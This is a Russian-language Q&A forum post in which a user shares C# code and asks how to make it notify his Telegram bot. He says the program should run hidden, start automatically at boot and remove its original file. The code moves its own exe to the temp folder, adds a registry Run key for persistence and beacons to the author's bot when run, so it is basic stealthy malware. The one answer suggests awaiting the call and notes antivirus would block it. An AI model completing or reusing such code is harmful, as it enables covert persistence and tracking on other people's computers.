@kerimol123

Как настроить отправку сообщений в telegram при запуске программы на C#?

Я хочу написать простую программу на C#, которая будет автоматически запускаться при включении компьютера. После первого запуска exe файл должен удаляться. Да и вообще программа должна быть не видна пользователю. Также при первом запуске мне в тг бот должно приходить сообщение о том, что кто-то запустил мою программу. Эта часть не работает. Телеграм бот запущен на сервере. Что нужно изменить в коде, чтобы отправка сообщений через телеграм работала?

Вот мой код:

using System;
using System.Diagnostics;
using System.IO;
using Microsoft.Win32;
using Telegram.Bot;

class Program
{

    static async void SendTelegramMessage(string message)
    {
        string botToken = "токен бота";
        long chatId = мой id;

        TelegramBotClient botClient = new TelegramBotClient(botToken);
        await botClient.SendTextMessageAsync(chatId, message);
    }

    static void Main()
    {
        string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
        string exePath = Process.GetCurrentProcess().MainModule.FileName;

        string tempPath = Path.Combine(Path.GetTempPath(), "myprogram.exe");
        File.Move(exePath, tempPath);

        SendTelegramMessage("Кто-то запустил программу");

        AddToStartup(tempPath);

        Environment.Exit(0);
    }

    static void AddToStartup(string programPath)
    {
        using (RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true))
        {
            key.SetValue("MyProgram", programPath);
        }
    }
}
  • Вопрос задан
  • 97 просмотров
Решения вопроса 1
@Dmitry_Sel
await SendTelegramMessage("Кто-то запустил программу");

но учти что любой антивирус тебе такое не позволит)
Ответ написан
Комментировать
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы